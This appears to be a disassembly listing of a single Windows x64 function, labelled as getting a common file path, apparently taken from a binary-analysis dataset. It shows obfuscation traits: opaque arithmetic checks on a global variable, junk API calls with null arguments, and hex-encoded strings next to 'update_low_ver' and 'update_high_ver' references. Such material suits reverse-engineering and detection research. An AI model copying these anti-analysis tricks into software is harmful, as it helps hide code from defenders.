Function at 0x140014800
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push r13
push r14
push r15
sub rsp, 0xca0
mov qword [rax - 0x708], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x1401a2e90]
xor rax, rsp
mov qword [rsp + 0xc90], rax
mov r13, rcx
mov qword [rsp + 0xa0], rcx
mov r8d, dword [0x1401aad80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 4
jne 0x1400148bc
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov eax, 4
mul rcx
mov rdi, 0xffffffffffffffff
cmovo rax, rdi
mov rcx, rax
call fcn.1400bcf98
mov rcx, rax
call fcn.1400be048
mov r8d, dword [0x1401aad80]
jmp 0x1400148c0
or rdi, 0xffffffffffffffff
lea rdx, [r13 + 0xf0]
mov rax, qword [rdx]
xor esi, esi
cmp dword [rax - 0x10], esi
jne 0x14001492a
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0x16
jne 0x14001720c
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
jmp 0x14001720c
lea rcx, [rsp + 0x40]
call fcn.140002d5c
nop
lea rax, [rsp + 0x450]
mov qword [rsp + 0x110], rax
lea rdx, str.2a12101c010e18152c
lea rcx, [rsp + 0x450]
call fcn.140001f6c
nop
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.1400233a4
nop
mov r8, qword [r13 + 0x98]
mov rdx, qword [rax]
lea rcx, [rsp + 0x40]
call fcn.14000da50
nop
mov rdx, qword [rsp + 0x188]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400149a2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [rsp + 0x1a8]
call fcn.140021e68
mov rbx, rax
lea rdx, [0x14013a268]
lea rcx, [rsp + 0x460]
call fcn.140001f6c
nop
lea r8, [0x14013a260]
mov rdx, rax
lea rcx, [rsp + 0x198]
call fcn.140019018
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x500]
call fcn.14000de60
nop
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x40]
call fcn.14000e884
nop
mov rdx, qword [rsp + 0x500]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014a28
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x198]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014a4b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x460]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014a6e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x1a8]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014a90
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea r14, [0x1401a29a8]
mov rcx, r14
mov rax, qword [0x1401a29a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x50], rax
mov r8d, dword [0x1401aad80]
lea r9d, [r8 + 1]
lea ecx, [r8 + 2]
imul ecx, r9d
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 1
jne 0x140014b04
test r8d, r8d
je 0x140014afa
dec r8d
je 0x140014af2
mov dword [0x1401aad80], r9d
jmp 0x140014b04
mov dword [0x1401aad80], esi
jmp 0x140014b04
mov dword [0x1401aad80], 2
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.140026a5c
nop
lea rcx, [rsp + 0x580]
call fcn.14002386c
nop
mov rcx, qword [rax]
mov eax, esi
test rcx, rcx
setne al
test eax, eax
jne 0x140014b41
mov ecx, 0x80004005
call fcn.140001874
int3
mov rax, qword [rsp + 0x48]
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x140014b5f
add rax, 2
test dx, dx
jne 0x140014b49
mov eax, esi
jmp 0x140014b64
sbb eax, eax
or eax, 1
test eax, eax
sete bl
mov rdx, qword [rsp + 0x580]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014b8b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test bl, bl
je 0x140014d38
mov ecx, dword [0x1401aad80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x30c30c31
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub r8d, edx
cmp r8d, 0xe
jne 0x140014bdb
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0xa0], rax
lea rdx, str.123934323a1024253e04213530253404233d0e19252521033420243422250e
lea rcx, [rsp + 0x1b8]
call fcn.140001f6c
nop
mov rdx, rax
lea rcx, [rsp + 0x510]
call fcn.1400233a4
mov rbx, rax
mov rcx, r14
mov rax, qword [0x1401a29a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xf0], rax
mov r8, rbx
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x1c8]
call fcn.14001dacc
nop
lea r8, [rsp + 0x50]
mov rdx, rax
lea rcx, [rsp + 0x470]
call fcn.14001dacc
nop
mov rdx, rax
mov rcx, r13
call fcn.1400130a8
nop
mov rdx, qword [rsp + 0x470]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014c8a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x1c8]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014cad
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0xf0]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014cd0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x510]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014cf3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014d13
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014d33
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x1400171ed
mov rax, qword [rsp + 0x48]
cmp dword [rax - 0x10], esi
jne 0x140014e6a
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0xa0], rax
lea rdx, str.123934323a1024253e04213530253404233d0e2225231b223e3f0e343c212528
lea rcx, [rsp + 0x1d8]
call fcn.140001f6c
nop
mov rdx, rax
lea rcx, [rsp + 0x1e8]
call fcn.1400233a4
mov rbx, rax
mov rcx, r14
mov rax, qword [0x1401a29a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc0], rax
mov r8, rbx
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x480]
call fcn.14001dacc
nop
mov rdx, rax
mov rcx, r13
call fcn.1400130a8
nop
mov rdx, qword [rsp + 0x480]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014ddf
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0xc0]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014e02
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x1e8]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014e25
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014e45
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140014e65
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x1400171ed
mov r8d, dword [0x1401aad80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0xc
jne 0x140014f04
mov r14d, esi
lea r15, [rsp + 0x870]
mov r9d, esi
lea ebx, [r9 + 1]
lea ecx, [r14 + 1]
mov eax, r8d
cdq
idiv ecx
mov ecx, edx
mov eax, r8d
sub eax, r14d
imul ecx, eax
mov eax, r8d
cdq
idiv ebx
add ecx, eax
sub ecx, r9d
mov dword [r15], ecx
mov edx, ecx
lea rcx, [0x140138060]
call fcn.1400be234
mov r9d, ebx
add r15, 4
cmp ebx, 5
jge 0x140014ef2
mov r8d, dword [0x1401aad80]
jmp 0x140014ea8
inc r14d
cmp r14d, 0x1a
jge 0x140014f04
mov r8d, dword [0x1401aad80]
jmp 0x140014ea5
mov eax, dword [0x1401aad80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x12
jne 0x140014f48
mov ecx, 4
call fcn.1400be0e0
mov rcx, rax
mov qword [rsp + 0x6b0], rax
mov eax, dword [0x1401aad80]
mov dword [rcx], eax
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x720]
call fcn.1400193d0
nop
mov qword [rsp + 0x710], rsi
mov qword [rsp + 0x718], rsi
mov r15d, 0xf
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
mov rdx, qword [rsp + 0x720]
cmp byte [rdx], sil
jne 0x140014f9b
mov r8, rsi
jmp 0x140014fa7
mov r8, rdi
inc r8
cmp byte [rdx + r8], sil
jne 0x140014f9e
lea rcx, [rsp + 0x700]
call fcn.1400013c8
nop
lea rcx, [rsp + 0x7b0]
call fcn.14002c320
nop
mov eax, dword [rsp + 0x90]
and eax, 0xffffff00
mov dword [rsp + 0x90], eax
btr eax, 8
mov dword [rsp + 0x90], eax
mov qword [rsp + 0x98], rsi
mov r8d, dword [0x1401aad80]
lea r9d, [r8 + 1]
mov ecx, r9d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
mov r14d, 0x13
cmp ecx, 4
jne 0x1400150ca
mov ecx, r8d
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, r14d
je 0x140015094
lea ecx, [r8 + 2]
imul ecx, r9d
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 5
jne 0x140015094
mov rax, qword [str.VgeUj2cBv]
mov qword [rsp + 0x128], rax
movzx eax, word [0x1401393b8]
mov word [rsp + 0x130], ax
mov byte [rsp + 0x128], 0x19
mov ecx, esi
mov dword [rsp + 0xb8], ecx
test r8d, r8d
je 0x1400150c4
mov eax, r8d
and eax, 1
add ecx, eax
mov dword [rsp + 0xb8], ecx
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401aad80], eax
jmp 0x14001509d
mov dword [0x1401aad80], ecx
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x7b0]
call fcn.14002c418
test al, al
jne 0x140015335
lea rax, [rsp + 0x560]
mov qword [rsp + 0x6c0], rax
lea rdx, str.123934323a1024253e04213530253404233d0e21302322340e3423233e23
lea rcx, [rsp + 0x560]
call fcn.140001f6c
nop
mov rdx, rax
lea rcx, [rsp + 0x520]
call fcn.1400233a4
mov rbx, rax
lea rcx, [0x1401a29a8]
mov rax, qword [0x1401a29a8]
call qword [rax + 0x18]
mov qword [rsp + 0x6d0], rax
add rax, 0x18
mov qword [rsp + 0x100], rax
mov r8, rbx
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x1f8]
call fcn.14001dacc
nop
mov rdx, rax
mov rcx, r13
call fcn.1400130a8
nop
mov rcx, qword [rsp + 0x1f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x490], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400151a4
mov rdx, qword [rsp + 0x490]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x100]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x208], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400151d7
mov rdx, qword [rsp + 0x208]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x520]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x218], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001520a
mov rdx, qword [rsp + 0x218]
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov ecx, dword [0x1401aad80]
imul ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xd
jne 0x14001523a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x14001526e
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x1400152a1
call fcn.1400be3d8
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400152d1
mov rdx, qword [rsp + 0x4a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x228], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015301
mov rdx, qword [rsp + 0x228]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015330
mov rdx, qword [rsp + 0x5a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14001720c
lea rdx, str._L_update_low_ver
lea rcx, [rsp + 0x118]
call fcn.140002df8
nop
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x248]
call fcn.140022500
mov qword [rsp + 0x6c8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x5c8], rdx
lea rcx, [rsp + 0x238]
call fcn.140018bd8
mov qword [rsp + 0x678], rax
mov rdx, qword [rax]
mov qword [rsp + 0x5d8], rdx
lea rcx, [rsp + 0x88]
call fcn.14003011c
mov qword [rsp + 0x6e8], rax
cmp byte [rax + 8], 4
setne byte [rsp + 0x58]
mov rcx, qword [rsp + 0x238]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400153e3
mov rdx, qword [rsp + 0x4b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x248]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x530], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015416
mov rdx, qword [rsp + 0x530]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x118]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x258], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015448
mov rdx, qword [rsp + 0x258]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x58], sil
je 0x140015589
mov eax, dword [0x1401aad80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 0xb
jne 0x14001548e
lea edx, [rcx + 0x24]
lea r8d, [rcx + 0x25]
lea rcx, str._d__d_n
call fcn.1400be234
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x1400154c2
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x1400154f5
call fcn.1400be3d8
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015525
mov rdx, qword [rsp + 0x4c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x268], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015555
mov rdx, qword [rsp + 0x268]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x570], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015584
mov rdx, qword [rsp + 0x570]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14001720c
lea rdx, str._L_update_low_ver
lea rcx, [rsp + 0xd8]
call fcn.140002df8
nop
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x288]
call fcn.140022500
mov qword [rsp + 0x5e8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x688], rdx
lea rcx, [rsp + 0x278]
call fcn.140018bd8
mov qword [rsp + 0x5f8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x6d8], rdx
lea rcx, [rsp + 0x88]
call fcn.14003011c
mov qword [rsp + 0x608], rax
mov rdx, qword [rax]
mov qword [rsp + 0x698], rdx
lea rcx, [rsp + 0x60]
call fcn.140002df8
nop
mov rcx, qword [rsp + 0x278]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015644
mov rdx, qword [rsp + 0x4d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x288]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x540], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015677
mov rdx, qword [rsp + 0x540]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xd8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x298], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400156a9
mov rdx, qword [rsp + 0x298]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r9d, dword [0x1401aad80]
mov ecx, r9d
imul ecx, r9d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xd
jne 0x1400156e4
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9d, eax
mov dword [0x1401aad80], eax
mov rcx, qword [rsp + 0x60]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x400], edx
test edx, edx
jne 0x14001585d
lea r8d, [r9 + 1]
lea ecx, [r9 + 2]
imul ecx, r8d
imul ecx, r9d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0xa
cmove r9d, r8d
mov dword [0x1401aad80], r9d
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x410], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015762
mov rdx, qword [rsp + 0x410]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x140015796
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x1400157c9
call fcn.1400be3d8
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2a8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400157f9
mov rdx, qword [rsp + 0x2a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x418], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015829
mov rdx, qword [rsp + 0x418]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2b8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140015858
mov rdx, qword [rsp + 0x2b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14001720c
lea rdx, str.update_high_ver
lea rcx, [rsp + 0x88]
call fcn.14003011c
mov qword [rsp + 0x618], rax
cmp byte [rax + 8], 4
je 0x1400159ae
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x428], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400158b3
mov rdx, qword [rsp + 0x428]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x1400158e7
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x14001591a
call fcn.1400be3d8
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2c8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001594a
mov rdx, qword [rsp + 0x2c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x438], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001597a
mov rdx, qword [rsp + 0x438]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2d8], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400159a9
mov rdx, qword [rsp + 0x2d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14001720c
lea rdx, str.update_high_ver
lea rcx, [rsp + 0x88]
call fcn.14003011c
mov qword [rsp + 0x6f8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x628], rdx
lea rcx, [rsp + 0x68]
call fcn.140002df8
nop
mov rax, qword [rsp + 0x68]
mov ecx, dword [rax - 0x10]
mov dword [rsp + 0x598], ecx
test ecx, ecx
jne 0x140015b52
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x448], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
